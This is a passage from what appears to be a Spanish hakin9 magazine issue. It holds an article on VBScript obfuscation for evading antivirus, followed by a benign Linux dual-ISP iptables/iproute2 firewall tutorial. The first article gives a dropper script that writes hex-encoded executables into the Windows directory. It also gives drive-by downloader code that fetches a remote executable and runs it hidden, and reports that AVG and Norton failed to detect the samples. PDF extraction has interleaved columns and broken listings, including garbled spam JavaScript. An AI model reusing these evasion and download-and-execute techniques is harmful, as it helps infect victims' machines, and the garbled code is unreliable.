aplicación tenga algún problema.<br />

A continuación se ofuscará código<br />

para engañar al programa antivirus. En<br />

este ejemplo se realizará la ofuscación<br />

manualmente (Listado 3). Copiar el<br />

siguiente código en un nuevo archivo<br />

de texto y guardarlo con extensión<br />

.vbs. Este script también debe mostrar<br />

un cuadro de diálogo con cada una de<br />

las direcciones de correo encontradas<br />

en la libreta de direcciones. Al analizar<br />

el fichero con un programa de antivirus<br />

(para este ejemplo se utilizó AVG). Si<br />

el antivirus notifica que es un posible<br />

virus es que tu antivirus es realmente<br />

bueno. En el ejemplo, AVG no detecta<br />

nada sospechoso. Estos ejemplos<br />

también han sido analizados con<br />

Norton Internet Security pero ambos<br />

scripts, parecen ser correctos para este<br />

programa. En este primer ejemplo<br />

se han recuperado todas las direcciones<br />

de la libreta de direcciones y<br />

no se ha usado un codificador especial<br />

para ofuscar el código fuente.<br />

Ocultando<br />

ejecutables usando<br />

VBScript y ofuscación<br />

Normalmente los archivos HTML son<br />

seguros de abrir y no causan ningún<br />

daño en nuestro sistema. ¿Es esto<br />

cierto? Los aparentemente inocentes<br />

archivos HTML podrían contener un<br />

fichero EXE malicioso, y utilizando<br />

scripts embebidos dentro de las páginas<br />

HTML podrían fácilmente instalar<br />

y ejecutar programas ejecutables.<br />

Por lo general, ADODB.Stream y<br />

ADODB.Recordset son utilizados por<br />

el código malicioso para escribir un<br />

contenido embebido desde el exterior<br />

al disco local. Muchos ofuscadores<br />

utilizan un diccionario para ocultar<br />

una acción pero aquí la misma sera<br />

construida manualmente. En el siguiente<br />

ejemplo (Listado 4) se usa<br />

una función llamada Obfusc que codifica<br />

esas cadenas (ADODB.Stream y<br />

ADODB.Recordset). En este ejemplo<br />

pueden verse otras tres funciones que<br />

también usan esta función:<br />

• Convierte de binario a cadena<br />

de caracteres (BSTR) utilizando


un conjunto de registros ADO<br />

(Function RSBinaryToString)<br />

• Lee un fichero binario (Function<br />

ReadBinaryFile)<br />

• Guarda un fichero (Function<br />

saveFile)<br />

El siguiente script (Listado 5) creará<br />

unos ficheros EXE en el directorio de<br />

Windows y un acceso directo. Para<br />

probar el código es necesario reemplazar<br />

tanto del ejecutable<br />

como del acceso directo con<br />

el código hexadecimal de ejecutable y<br />

acceso directo del ejemplo.<br />

Métodos y técnicas<br />

de ofuscación<br />

1.Reemplazar nombres por otros<br />

sin sentido, preservando una correcta<br />

sintaxis del código fuente.<br />

Por ejemplo una variable llamada<br />

Nombre_Archivo será reemplazada<br />

por algo como abxcdfgd96rtg, lo<br />

cual no significa nada y es difícil de<br />

comprender.<br />

• Sustituir valores numéricos por<br />

una expresión aritmética aleatoria<br />

o constante para el mismo valor<br />

numérico, valores decimales y<br />

hexadecimales que evalúan el mismo<br />

valor.<br />

• Quitar los espacios extras y los<br />

comentarios<br />

• Sustituir los nombres de las subrutinas<br />

y funciones por nombres<br />

sin significado. Es obvio lo que<br />

hace una rutina llamada:<br />

Sub Guardar_Archivo(File_<br />

Name,ByteArray)<br />

[instrucciones]<br />

End sub<br />

Pero es muy difícil descubrir que hace<br />

una rutina como:<br />

Sub asdadf12f32sfsd(Ffgsds54,jdhffhska<br />

ka32)<br />

[instrucciones]<br />

end sub<br />

El código ofuscado es extremadamente<br />

difícil de entender por una persona,<br />

cuando el nombre de las variables,<br />

subrutinas y otros símbolos no tienen<br />

ningún sentido y son difíciles de recordar<br />

cuando se intenta comprender el<br />

código. La más común de las técnicas<br />

de ofuscación es aquella que cambia<br />

las variables y los nombres de las<br />

funciones por palabras largas y sin<br />

sentido. Pero cuando son usadas para<br />

Listado 5. Script de ficheros EXE<br />

On Error Resume Next<br />

Dim o,s,dirsys,ico,f,term,g,Des,Shortcut<br />

Dim o1,o2,o3,o4,o5,o6,o7<br />

o3=“ting.”<br />

o4=”fil”<br />

o2=”rip”<br />

o6=”bject”<br />

o1=”Sc”<br />

o5=”esystemo”<br />

o7=o1 & o2 & o3 & o4 & o5 & o6<br />

Set o=CreateObject(o7)<br />

Set s=CreateObject("WScript.Shell")<br />

Set dirsys=o.GetSpecialFolder(0)<br />

ico=split("",")<br />

Set f=o.CreateTextFile(dirsys&"\demoicon.ico",true)<br />

For i=0 To UBound(ico)<br />

f.Write chr(Int("&H"&ico(i)))<br />

Next<br />

f.close<br />

term=split("4D,5A,00,"",",")<br />

Set g=o.CreateTextFile(dirsys & "\demo” & “.e” & “xe",true)<br />

For i=0 To UBound(term)<br />

g.Write chr(Int("&H"&term(i)))<br />

Next<br />

g.close<br />

If not s Is Nothing Then<br />

www.<strong>hakin9</strong>.org/es<br />

Ofuscación<br />

propósitos maliciosos, hay muchos<br />

otros trucos que son usados por los<br />

hackers para ocultar sus acciones y<br />

en muchos de los casos ellos no usan<br />

los programas y métodos clásicos de<br />

Des = s.SpecialFolders("Desktop")<br />

Set Shortcut = s.CreateShortCut(Des & "\Demo Scene" & ".lnk")<br />

Shortcut.TargetPath = dirsys & "\demo” & “.e” & “xe"<br />

Shortcut.WorkingDirectory = "c:\\"<br />

Shortcut.WindowStyle = 1<br />

Shortcut.Arguments = ""<br />

Shortcut.IconLocation = dirsys&"\demoicon.ico,0"<br />

Shortcut.Save<br />

Set Shortcut = Nothing<br />

end if<br />

Listado 6. Script para Windows NT 4.0 y Windows 98<br />

Dim refferrer1, i<br />

refferrer1="436F6E7374204D595F444F43554D454E5453203D202648352600536574206F62<br />

6A5368656C6C203D204372656174654F626A65637428225368656C6C2E4170706C6963617469<br />

6F6E222900536574206F626A466F6C646572203D206F626A5368656C6C2E4E616D6573706163<br />

65284D595F444F43554D454E54532900536574206F626A466F6C6465724974656D203D206F62<br />

6A466F6C6465722E53656C6600577363726970742E4563686F206F626A466F6C646572497465<br />

6D2E506174680053657420636F6C4974656D73203D206F626A466F6C6465722E4974656D7300<br />

466F722045616368206F626A4974656D20696E20636F6C4974656D7300202020205773637269<br />

70742E4563686F206F626A4974656D2E4E616D65004E65787400"<br />

Function decode(x)<br />

For i = 1 To Len(x) Step 2<br />

If Mid(x, i, 2) = "00" Then<br />

decode = decode & vbCrLf<br />

Else<br />

decode = decode & Chr(Int("&H" & Mid(x, i, 2)))<br />

End If<br />

Next<br />

End Function<br />

21


kit<br />

ofuscación, por lo que el trabajo de<br />

perención se torna muy difícil.<br />

Los siguientes ejemplos ilustrarán<br />

una técnica frecuentemente<br />

utilizada por los hackers. Han sido<br />

adaptados de un ejemplo real y<br />

Listado 7. Código oculto<br />

Const MY_DOCUMENTS = &H5&<br />

Set objShell = CreateObject("Shell.Application")<br />

Set objFolder = objShell.Namespace(MY_DOCUMENTS)<br />

Set objFolderItem = objFolder.Self<br />

Wscript.Echo objFolderItem.Path<br />

Set colItems = objFolder.Items<br />

For Each objItem in colItems<br />

Wscript.Echo objItem.Name<br />

Next<br />

un código como este (Listado 6)<br />

puede ser fácilmente localizado en<br />

muchos sitios web. Aparentemente<br />

este código parece normal y no<br />

sospechoso. Y en este caso lo es,<br />

mostrará el contenido del directorio<br />

Listado 8. Transformando un script a su código hexadecimal<br />

'fso<br />

'create the object<br />

Dim fso<br />

Set fso = CreateObject("Scripting.FileSystemObject")<br />

Dim outputFile<br />

'A file where we will save the hex equivalent<br />

outputFile = "C:\Hex.txt" ‘The<br />

Dim txtstreamout<br />

Set txtStreamOut = fso.OpenTextFile(OutputFile, 2, True)<br />

'The script which want to convert into hex<br />

Dim inputFile<br />

inputFile = "C:\Myscript.vbs"<br />

Dim txtstreamin<br />

Set txtStreamIn = fso.OpenTextFile(inputFile, 1, True)<br />

dim text<br />

Do while txtstreamin.atendofstream=false<br />

text=txtStreamin.readline<br />

txtStreamOut.write gethex(text) & "00"<br />

Loop<br />

Function GetHex(text)<br />

dim i<br />

dim u<br />

For i=1 to len(text)<br />

u=asc(mid(text,i,1))<br />

getHex=gethex & hex(u)<br />

Next<br />

End function<br />

Listado 9. Código usado por un sitio web maliciosos<br />

m1="object"<br />

m2="classid"<br />

m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"<br />

m4="Microsoft.XMLHTTP"<br />

m5="Shell.Application"<br />

MircoLong="hxxp://www.xvg[replaced content]"<br />

'…<br />

set MircoLonge=MircoLongc.createobject(m5,"")<br />

MircoLonge.ShellExecute MircoLong9,BBS,BBS,"open",0<br />

'…<br />

22 www.<strong>hakin9</strong>.org/es<br />

Mis Documentos. Devolverá la ruta<br />

del directorio Mis Documentos, y<br />

listará todos los objetos encontrados<br />

en ese directorio. Es un script<br />

para Windows NT 4.0 y Windows<br />

98, este script requiere Windows<br />

Script Host 5.1 e Internet Explorer<br />

4.0 o superior. Lo que hay dentro<br />

de este (lo que ejecuta la instrucción<br />

Execute) es el siguiente código<br />

(Listado 7). Para transformar un<br />

script en su equivalente hexadecimal,<br />

el siguiente código podría ser<br />

muy útil. Reemplazar las rutas con<br />

las propias y podremos transformar<br />

cualquier script (Listado 8).<br />

En todo lo visto anteriormente,<br />

estas secuencias de código<br />

son totalmente inocentes, pero<br />

un método como este fue recientemente<br />

usado por un sitio web<br />

malicioso donde la secuencia de<br />

contenido codificado, decodificado<br />

se parecía a este (Listado 9). El<br />

código se aprovecha de una vulnerabilidad<br />

llamada Drive-by exploits,<br />

descarga un ejecutable desde el<br />

mismo servidor y lo ejecuta en<br />

el sistema de la víctima. Hay que<br />

tener en cuenta que es bastante<br />

frecuente que quien gestiona esos<br />

servidores web cambie el código<br />

malicioso a menudo para reducir<br />

el riesgo de ser detectados por los<br />

antivirus. Otra técnica es el método<br />

de partición para dividir algunas<br />

condiciones. No es recomendable<br />

probar el método ilustrado en<br />

el siguiente ejemplo (Listado 10)<br />

aunque algunos elementos fueron<br />

reemplazados y el mismo ya fue<br />

ilustrado en algunos de los ejemplos<br />

anteriores.<br />

Algunas de las técnicas de<br />

ofuscación utilizan la naturaleza dinámica<br />

de Javascript (una porción<br />

de código es almacenada como<br />

una cadena encriptada, la cual es<br />

desencriptada y evaluada). Esto<br />

puede hacerse varias veces. Otras<br />

técnicas incluyen la inserción de<br />

código de imitación, así como enlaces<br />

HTML de imitación para legitimar<br />

páginas. Pero probablemente<br />

los mayores fans de la ofuscación<br />

sean los spammers. Ellos usan<br />

Javascript ofuscado, VBScript o


código HTML en los mensajes<br />

de spam. El mensaje ofuscado,<br />

cuando es mostrado por un cliente<br />

de correo que interprete HTML,<br />

aparece como un mensaje razonablemente<br />

normal. Sin embargo,<br />

cuando se examina el código fuente,<br />

las ofuscaciones hacen muy<br />

difícil a los investigadores discernir<br />

donde apuntan los enlaces, o que<br />

hace el código. Diariamente pueden<br />

encontrarse muchos ejemplos<br />

de código ofuscado en el buzón de<br />

correo. El código fuente de cualquier<br />

mensaje de spam puede sorprender<br />

a muchos (Listado 11). La<br />

mayoría de los mensajes de spam<br />

incluyen muy buenos ejemplos de<br />

código ofuscado.<br />

Conclusión<br />

El ofuscador de código es un programa<br />

que codifica el código fuente<br />

para hacer que el programa sea<br />

difícil de comprender o para evitar<br />

la ingeniería inversa.<br />

El hecho de que sea un lenguaje<br />

interpretado que es ejecutado desde<br />

su código fuente original, lenguajes<br />

de script tales como JavaScript o<br />

VBScript están abiertos a inspección<br />

pública. Sin la ofuscación de código,<br />

el código fuente puede ser fácilmente<br />

copiado y modificado para ser<br />

usado para otros propósitos.<br />

La función básica de un ofuscador<br />

es hiper-complicar el código<br />

fuente a los lectores, para que no<br />

pueda ser decompilado con éxito.<br />

También existen des-ofuscadores,<br />

los cuales hacen el trabajo inverso.<br />

Una práctica común en la ofuscación<br />

es renombrar cada clase desde algo<br />

descriptivo como Copiar_Fichero, a<br />

alguna secuencia sin sentido como<br />

fugjfgfg3253fggjh. Los métodos de<br />

clase también son renombrados a<br />

func _ a(), func _ b(), etc. Muchos<br />

hackers usan las técnicas de ofus-<br />

Sobre el Autor<br />

Laic Aurelaian es Ingeniero Rumano<br />

independiente, revelador de software.<br />

Por más informaciones por favor ver<br />

páginas: http://xidie.ro<br />

Listado 10. Ejemplo del metodo de partición<br />

On error resume next<br />

clID1 = "clsi"<br />

clID2 = "d:BD96C[Replaced]"<br />

XML1 = "Mic"<br />

XML2 = "rosoft.XMLHTTP"<br />

AdoSqa1 = "Adodb.S"<br />

AdoSqa2 = "tream"<br />

oGet = "GET"<br />

fname1 = "AdCount.com"<br />

SFO = "Scripting.FileSystemObject"<br />

SApp = "Shell.Application"<br />

dl = "[replaced]"<br />

Set df = document.createElement("object")<br />

df.setAttribute "classid", clID1&clID2<br />

Set x = df.CreateObject(XML1&XML2,"")<br />

set S = df.createobject(AdoSqa1&AdoSqa2,"")<br />

S.type = 1<br />

x.Open oGet, dl, False<br />

x.Send<br />

set F = df.createobject(SFO,"")<br />

set tmp = F.GetSpecialFolder(2)<br />

fname1 = F.BuildPath(tmp,fname1)<br />

S.open<br />

S.write x.responseBody<br />

S.savetofile fname1,2<br />

S.close<br />

set Q = df.createobject(SApp,"")<br />

Q.ShellExecute fname1,"","","open",0<br />

Listado 11. Ejemplo del código usado por los spammers<br />

var a=' Replaced';<br />

var e=256,x=0,o="",t=new Array(4113),s="Ñ#Ñx2";<br />

function g(s,f){if(s.length=1)&256)==0)<br />

{if((c=g(s,0))==e)break;l=c|65280;}if(l&1){if((c=g(s,1))==e)break;<br />

os+=c;t[r++]=c;r&=4095;}else{if((i=g(s,0))==e)break;<br />

if((j=g(s,0))==e)break;i|=((j&240)


Firewall con 2 canales<br />

de Internet<br />

Samuel Diaz<br />

El acceso a Internet ya no debe depender<br />

de un único proveedor, para estar presente<br />

en la red se debe asegurar que tanto<br />

la infraestructura tecnológica como los canales<br />

de comunicaciones se encuentren disponibles<br />

en todo momento. Al surgir esta necesidad y no<br />

encontrar un documento que me pudiera ayudar<br />

a solucionar esta problemática en conjunto, me<br />

di a la tarea de plasmar mis experiencias en la<br />

solución de esta problemática. Para atacar este<br />

problema se debe dividir es 2 partes:<br />

• Seguridad<br />

• Enrutamiento<br />

La parte de seguridad se trabaja con iptables,<br />

para crear reglas de filtrado de paquetes<br />

que permitan la salida hacia Internet de los<br />

usuarios por un canal o por el otro, según<br />

sean creadas estas reglas (reglas de NAT).<br />

La parte de enrutamiento se trabaja con<br />

un proyecto llamado iproute2 http://linuxnet.osdl.org/index.php/Iproute2<br />

el cual nos<br />

permite realizar la tarea de enrutamiento por<br />

bien sea por un canal o por el otro. Este proyecto<br />

como iptables ya se encuentra disponible<br />

en una gran mayoría de distribuciones.<br />

24 www.<strong>hakin9</strong>.org/es<br />

El presente documento nace<br />

de la necesidad que surgió de<br />

poder configurar un acceso a<br />

Internet a través de 2 canales,<br />

utilizándolos simultáneamente.<br />

Todo esto debe lograrse sin<br />

modificar la estructura de red<br />

actual, o conservando el acceso<br />

a todos los recursos que los<br />

usuarios tienen antes de esta<br />

implementación.<br />

Para que todo en conjunto funcione correctamente<br />

la parte de seguridad y el enrutamiento<br />

deben ir de la mano con las mismas configuraciones<br />

y los mismos parámetros.<br />

Procedimiento para configurar<br />

un firewall en linux con accesso<br />

a dos canales de internet<br />

El diagrama de red presentado (Figura 1) se<br />

compone básicamente de una red DMZ con<br />

direccionamiento 10.10.10.0/24, cuyo default gateway<br />

es 10.10.10.70 y se encuentra conectada a<br />

la interfase eth2. Se tienen dos canales de Internet<br />

en redes diferentes, la primera se encuentra<br />

En este artículo aprenderás<br />

• Usar un dispositivo de seguridad atraves de 2<br />

canales.<br />

• Como configurar firewall, como protección de<br />

informacion privada en Linux.<br />

Lo que deberias saber<br />

• Un cortafuegos no puede protegerse contra<br />

ataques desde su punto de operación.


en la red 192.168.1.0/24 conectada a<br />

la interfase eth0 y con dirección IP<br />

192.168.1.70, para esta red se cuenta<br />

con un gateway 192.168.1.1. El segundo<br />

canal se encuentra conectado<br />

a la interfase eth3 y con dirección IP<br />

192.168.9.70, este canal cuenta con<br />

el gateway 192.168.9.111. La red LAN<br />

se encuentra conectada a la interfase<br />

eth1 y con una dirección de red<br />

172.16.1.0/24, el default gateway de<br />

esta red es 172.16.1.70. Desde esta<br />

red se tiene un enrutador que conecta<br />

a la red WAN con las sedes de las ciudades<br />

principales, ejemplo, Medellín,<br />

Cali, Barranquilla, etc. La dirección<br />

de este enrutador en la sede principal<br />

es 172.16.1.1, Por ejemplo, la sede<br />

de Medellín tiene la dirección de red<br />

172.17.1.0/24 y Cali tiene 172.17.1.0/<br />

24. En este laboratorio se probará<br />

un balanceo de carga manual sobre<br />

los canales de Internet, para esto se<br />

situarán diferentes equipos detrás del<br />

firewall, los equipos ubicados en la<br />

DMZ tendrán la siguiente información<br />

de red:<br />

Equipo1DMZ Equipo2DMZ<br />

IP= 10.10.10.1/24 IP= 10.10.10.15/24<br />

GW= 10.10.10.70 GW= 10.10.10.70<br />

DNS1= 200.21.200.2 DNS1= 200.21.200.2<br />

DNS2= 63.171.232.38 DNS2= 63.171.232.38<br />

Continuando con el laboratorio, el<br />

Equipo1DMZ saldrá por el primer canal<br />

de Internet, o sea por el gateway<br />

192.168.1.1, y el Equipo2DMZ saldrá por<br />

Primer Canal de Internet<br />

192.168.1.0/24<br />

IP=192.168.9.70<br />

GW=192.168.9.111<br />

Segundo Canal<br />

de Internet<br />

192.168.9.0/24<br />

Figura 1. El diagrama de red<br />

Firewall con 2 canales de Internet<br />

el segundo canal de Internet, o sea por<br />

el gateway 192.168.9.111. Estos equipos<br />

tendrán salida directa a Internet a<br />

través de reglas de NAT, lo cual les permitirá<br />

salir libremente hacia Internet. Se<br />

situará otro equipo en la red LAN con la<br />

siguiente información de red:<br />

Equipo1LAN<br />

IP= 172.16.1.50/24<br />

GW= 172.16.1.70<br />

DNS1= 200.21.200.2<br />

DNS2= 63.171.232.38<br />

Este equipo tendrá una regla de NAT<br />

que le permite salir libremente hacia<br />

Internet. Para complementar este laboratorio<br />

se puede situar otro equipo<br />

en la red LAN con la siguiente información<br />

de red:<br />

Equipo2LAN<br />

IP= 172.16.1.100/24<br />

GW= 172.16.1.70<br />

DNS1= 200.21.200.2<br />

DNS2= 63.171.232.38<br />

Este equipo no tendrá salida a Internet<br />

directamente, ya que en las reglas de<br />

firewall no se configurará una regla de<br />

NAT que le permita la salida libre a Internet.<br />

Se puede configurar un servidor<br />

Proxy, que les permita el acceso a los<br />

equipos que no tienen salida directa.<br />

Este equipo saldrá por el primer canal<br />

de Internet, por el gateway 192.168.1.1.<br />

El enrutador ubicado en la red LAN<br />

tendrá dirección IP 172.16.1.1, y este<br />

IP=192.168.1.70<br />

GW=192.168.1.1<br />

IP=10.10.10.70<br />

IP=172.16.1.70<br />

DMZ<br />

10.10.10.0/24<br />

LAN<br />

172.16.1.0/24<br />

www.<strong>hakin9</strong>.org/es<br />

IP=172.16.1.1<br />

será la puerta de enlace para poder<br />

llegar a las regionales. Los clientes<br />

únicamente tendrán como default gateway<br />

el firewall, y este a su vez tendrá<br />

la tabla de enrutamiento para poder<br />

brindar acceso a Internet, junto con la<br />

información de rutas para llegar a las<br />

regionales a través del enrutador ubicado<br />

en la LAN. El primer paso debe<br />

ser tener el firewall Linux configurado<br />

con la siguiente información de red:<br />

Nombre interface= eth0<br />

IP=192.168.1.70/24<br />

Nombre interface= eth1<br />

IP=172.16.1.70/24<br />

Nombre interface= eth2<br />

IP=10.10.10.70/24<br />

Nombre interface= eth3<br />

IP=192.168.9.70/24<br />

Se debe editar el archivo /etc/<br />

iproute2/rt _ tables e ingresar la<br />

información con las tablas que se<br />

utilizarán.<br />

201 T1<br />

202 T2<br />

Para este ejemplo se utilizarán dos<br />

tablas. T1 y T2. Los nombres de las<br />

tablas no son importantes, se les<br />

puede dar el nombre que se desee,<br />

siempre y cuando se ingresen en el<br />

archivo /etc/iproute2/rt _ tables, y<br />

después sean utilizadas en el script<br />

de enrutamiento. Para este ejemplo<br />

T1 será la tabla con la cual se utiliza-<br />

GW=172.17.1.1<br />

GW=172.18.1.1<br />

WAN<br />

MEDELLIN<br />

172.17.1.0/24<br />

CALI<br />

172.18.1.0/24<br />

25


kit<br />

ra el primer canal de Internet, cuyo<br />

default gateway es 192.168.1.1. Y T2<br />

será la tabla de enrutamiento que<br />

utilizará el segundo canal de Internet<br />

con default gateway 192.168.9.111.<br />

Una vez se tienen estos datos configurados,<br />

se debe generar un script<br />

para la tabla de enrutamiento con la<br />

siguiente información (ver Listado<br />

1). Después de tener listo el enruta-<br />

Listado 1. Primer canal de internet (default gateway<br />

es 192.168.1.1.)<br />

#!/bin/bash<br />

# Samuel Diaz<br />

# Enero de 2007<br />

# Bogota - Colombia<br />

#Tabla de Rutas Red de pruebas<br />

# Se limpian las tablas de enrutamiento y se reinician<br />

las interfaces de red para limpiar todas las posibles<br />

rutas que se tengasn<br />

echo "Limpiando Tablas de enrutamiento"<br />

ip route flush all<br />

ip route flush table 201<br />

ip route flush table 202<br />

ip route flush table 222<br />

ip rule show | grep -Ev '^(0|32766|32767):' \<br />

| while read PRIO RULE; do<br />

ip rule del prio ${PRIO%%:*} $( echo $RULE | sed<br />

's|all|0/0|' )<br />

ip rule del prio ${PRIO%%:*} $( echo $RULE )<br />

done<br />

ip route flush default<br />

rcnetwork restart<br />

#Definicion de interfaces de red, Redes locales, DMZ y<br />

redes de canales de Internet.<br />

echo "Configuracion Automatica de Rutas"<br />

# Interface eth0, Primer canal<br />

IF0="eth0"<br />

# Interface eth1, red local<br />

IF1="eth1"<br />

# Interface eth2, DMZ<br />

IF2="eth2"<br />

# Interface eth3, segundo canal<br />

IF3="eth3"<br />

# IP eth0, primer canal<br />

IP0="192.168.1.70"<br />

# IP eth1, red local<br />

IP1="172.16.1.70"<br />

# IP eth2, DMZ<br />

IP2="10.10.10.70"<br />

# IP eth3, segundo canal<br />

IP3="192.168.9.70"<br />

# Gateway Primer Canal de Internet<br />

P0="192.168.1.1"<br />

# Gateway Segundo Canal de Internet<br />

P3="192.168.9.111"<br />

# Red primer canal<br />

P0_NET="192.168.1.0/24"<br />

# Red local<br />

P1_NET="172.16.1.0/24"<br />

# Red DMZ<br />

P2_NET="10.10.10.0/24"<br />

miento, se deben crear las reglas de<br />

firewall para permitir el tráfico, junto<br />

con las reglas de NAT para completar<br />

el ejercicio. Para esto se crea otro<br />

script con las políticas de firewall.<br />

Este es el strip creado, donde únicamente<br />

se le asignas permisos de salida<br />

a las ips del ejercicio, junto con<br />

las reglas de NAT para este ejemplo<br />

(ver Listado 2). NOTA: Para este<br />

26 www.<strong>hakin9</strong>.org/es<br />

ejemplo se deben tener en cuenta<br />

las siguientes condiciones:<br />

• La IP= 10.10.10.20 utilizará el<br />

canal de la red 192.168.1.X, para<br />

esto se debe crear una regla<br />

de NAT que haga NAT con la<br />

dirección IP del firewall que se<br />

encuentra en esa red, en este<br />

caso la ip 192.168.1.69.<br />

# Red Segundo Canal<br />

P3_NET="192.168.9.0/24"<br />

# Definicion de regionales<br />

#Medellin<br />

MEDELLIN="172.17.1.0/24"<br />

#Cali<br />

CALI="172.18.1.0/24"<br />

# Se definen las rutas de las redes donde se encuentran las<br />

# salidas de internet, junto con el gateway de cada<br />

# canal y se asocian a las tablas T1 y T2.<br />

ip route add $P0_NET dev $IF0 src $IP0 table T1<br />

ip route add default via $P0 table T1<br />

ip route add $P3_NET dev $IF3 src $IP3 table T2<br />

ip route add default via $P3 table T2<br />

ip route add $P0_NET dev $IF0 table T1<br />

ip route add $P3_NET dev $IF3 table T1<br />

ip route add $P2_NET dev $IF2 table T1<br />

ip route add 127.0.0.0/8 dev lo table T1<br />

ip route add $P0_NET dev $IF0 table T2<br />

ip route add $P3_NET dev $IF3 table T2<br />

ip route add $P1_NET dev $IF1 table T2<br />

ip route add 127.0.0.0/8 dev lo table T2<br />

#Se asocian la red local y DMZ para que se tenga<br />

# enrutamiento en las 2 tablas.<br />

ip route add $P2_NET dev eth2 table T1<br />

ip route add $P2_NET dev eth2 table T2<br />

ip route add $P1_NET dev eth1 table T2<br />

ip route add $P1_NET dev eth1 table T1<br />

ip route add $MEDELLIN via 172.16.1.1 dev eth1 table T1<br />

ip route add $MEDELLIN via 172.16.1.1 dev eth1 table T2<br />

ip route add $CALI via 172.16.1.1 dev eth1 table T1<br />

ip route add $CALI via 172.16.1.1 dev eth1 table T2<br />

#se define el default gateway del firewall<br />

ip route add default via $P0<br />

ip rule add from $IP0 table T1<br />

ip rule add from $IP3 table T2<br />

# Se crean las definiciones de los gateway de cada tabla,<br />

# junto con que ip utilizaran esas tablas<br />

#ip rule add from 10.10.10.20 table T1<br />

ip rule add from 10.10.10.1/32 table T1<br />

ip rule add from 10.10.10.15/32 table T2<br />

ip rule add from 10.10.10.16/32 table T1<br />

#ip rule add from 10.10.10.50 table T2<br />

#ip rule add from 172.16.1.20 table T1<br />

#ip rule add from 172.16.1.50 table T2<br />

# Se refresca la tabla de cache<br />

ip route flush cache<br />

ip rule add from 172.16.1.0/24 table T1<br />

ip rule add from $MEDELLIN table T1<br />

ip route flush cache<br />

#route add default gw 192.168.1.1<br />

route add -net 172.17.1.0/24 gw 172.16.1.1


Listado 2. Segundo canal de internet ( default<br />

gateway 192.168.9.111.)<br />

#!/bin/sh<br />

# Samuel Diaz<br />

# Enero de 2007<br />

# Bogota - Colombia<br />

# modulos no implementados<br />

modprobe ip_queue<br />

modprobe ip_tables<br />

modprobe ipt_MARK<br />

modprobe ipt_REJECT<br />

modprobe ipt_TCPMSS<br />

modprobe ipt_TOS<br />

modprobe ipt_tos<br />

modprobe ipt_limit<br />

modprobe ipt_mac<br />

modprobe ipt_mark<br />

modprobe ipt_multiport<br />

modprobe ipt_owner<br />

modprobe ipt_state<br />

modprobe ipt_tcpmss<br />

modprobe ipt_LOG<br />

modprobe ipt_MASQUERADE<br />

# Soporte para ftp, IRC<br />

# Los modulos estan en /usr/include/linux/netfilter_ipv4<br />

modprobe ip_conntrack<br />

modprobe ip_conntrack_ftp<br />

modprobe ip_conntrack_irc # Funciona en kernel 2.4.19<br />

modprobe ip_nat_ftp<br />

# Habilita enrutamiento<br />

echo "1" > /proc/sys/net/ipv4/ip_forward<br />

# Habilita IP Dinamico. 1=Habilitado, 0=No Habilitado<br />

echo "0" > /proc/sys/net/ipv4/ip_dynaddr<br />

# Limpia los canales<br />

iptables -F INPUT<br />

iptables -F FORWARD<br />

iptables -F OUTPUT<br />

iptables -F<br />

iptables -X<br />

iptables -t nat -F<br />

• La IP= 10.10.10.50 utilizará el<br />

canal de la red 192.168.9.X, para<br />

esto se debe crear una regla<br />

de NAT que haga NAT con la<br />

dirección IP del firewall que se<br />

encuentra en esa red, en este<br />

caso la ip 192.168.9.69.<br />

• Si se desea hacer un cambio, se<br />

debe tener en cuenta el canal a<br />

utilizar, para crear la regla de<br />

NAT respectiva con la dirección<br />

IP de ese segmento.<br />

• Los scripts generados anteriormente<br />

se pueden crear /etc/<br />

init.d/rutas.sh y /etc/init.d/firewall<br />

Sobre el Autor<br />

Samuel Diaz - hsdiaz80@yahoo.com<br />

samuel.diaz@globalteksecurity.com<br />

Firewall con 2 canales de Internet<br />

con permisos de ejecución y<br />

para activarlos automáticamente<br />

cuando se inicia la máquina se<br />

pueden ejecutar los siguientes<br />

comandos: Chkconfig --level 35<br />

rutas on<br />

Conclusión<br />

Iproute2 permite a los administradores<br />

poder tener disponibilidad de acceso<br />

a Internet, adquiriendo varios canales<br />

y utilizándoles simultáneamente, y en<br />

caso de falla de alguno de ellos poder<br />

enlutar todo el tráfico por el canal disponible<br />

con unos pocos pasos y así no<br />

perder conectividad. Este proyecto va<br />

más allá de puro enrutamiento, permite<br />

tener control sobre el tráfico TCP/IP<br />

en nuestra máquina Linux. La gran<br />

mayoría de los sistemas actuales están<br />

www.<strong>hakin9</strong>.org/es<br />

iptables -t nat -X<br />

# La política es: todo es prohibido hasta que se diga<br />

lo contrario<br />

# Esta técnica se usa en Europa<br />

iptables -P INPUT DROP<br />

iptables -P OUTPUT ACCEPT<br />

iptables -P FORWARD ACCEPT<br />

# La tarjeta de red local siempre debe permitir todo<br />

iptables -A INPUT -i lo -j ACCEPT<br />

iptables -A INPUT -i eth0 -j ACCEPT<br />

iptables -A INPUT -i eth1 -j ACCEPT<br />

#iptables -A INPUT -i eth2 -j ACCEPT<br />

# Permite PING para hacer pruebas de conectividad<br />

iptables -A INPUT -p icmp -j ACCEPT<br />

# Nat - Permite a los PC de LAN salir a internet<br />

#*** NAT - ESTAS DIR. IP TIENEN ACCESO A TODOS LOS<br />

SERVICIOS ***<br />

iptables -t nat -A POSTROUTING -j SNAT -s 172.16.1.15/32<br />

--to 192.168.1.70<br />

iptables -t nat -A POSTROUTING -j SNAT -s 172.16.1.20/32<br />

--to 192.168.1.70<br />

iptables -t nat -A POSTROUTING -j SNAT -s 172.17.1.50/32<br />

--to 192.168.1.70<br />

iptables -t nat -A POSTROUTING -j SNAT -s 10.10.10.1/32<br />

--to 192.168.1.70<br />

iptables -t nat -A POSTROUTING -j SNAT -s 10.10.10.15/32<br />

--to 192.168.9.70<br />

iptables -t nat -A POSTROUTING -j SNAT -s 10.10.10.16/32<br />

--to 192.168.1.70<br />

iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70<br />

--dport 2525 -j DNAT --to 172.16.1.10:25<br />

iptables -t nat -I PREROUTING -p tcp -d 192.168.9.70 -dport<br />

25 -j DNAT --to 10.10.10.15:25<br />

iptables -t nat -I PREROUTING -p tcp -d 192.168.9.70 -dport<br />

21 -j DNAT --to 10.10.10.15:21<br />

iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70 -dport<br />

21 -j DNAT --to 172.17.1.50:21<br />

iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70 -dport<br />

25 -j DNAT --to 10.10.10.1:25<br />

iptables -t nat -I PREROUTING -p tcp -d 192.168.1.70 -dport<br />

80 -j DNAT --to 10.10.10.1:80<br />

limitados a tener únicamente a nivel de<br />

